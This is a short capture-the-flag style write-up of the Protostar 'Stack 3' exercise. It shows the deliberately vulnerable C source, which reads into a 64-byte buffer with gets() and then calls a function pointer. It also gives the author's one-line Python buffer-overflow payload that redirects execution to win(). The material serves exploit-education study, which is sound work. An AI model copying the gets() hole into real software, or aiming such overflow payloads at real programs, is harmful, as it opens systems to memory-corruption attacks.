Stack 3

Source code

The following is the source code for Stack 3 challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Challenge

In this challenge we needed to modify the fp variable to address of win function so first we needed to find the address of win function which i did using gdb

Hence the address of win was found to be 0x8048424 so now we just needed to overflow the buffer and then modify the fp to 0x8048424 in little endian 0x24840408 so i did some python magic wrote an exploit as

python -c 'print "A"*64+"\x24\x84\x04\x08"' | /opt/protostar/bin/stack3

and voila

This challenge is also completed